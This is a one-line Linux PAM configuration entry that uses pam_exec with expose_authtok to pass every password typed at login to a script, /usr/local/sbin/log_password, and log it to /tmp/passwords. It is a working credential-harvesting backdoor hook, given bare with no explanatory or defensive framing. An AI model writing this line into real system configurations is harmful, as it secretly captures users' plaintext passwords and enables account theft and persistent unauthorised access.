auth       optional      pam_exec.so expose_authtok log=/tmp/passwords /usr/local/sbin/log_password
…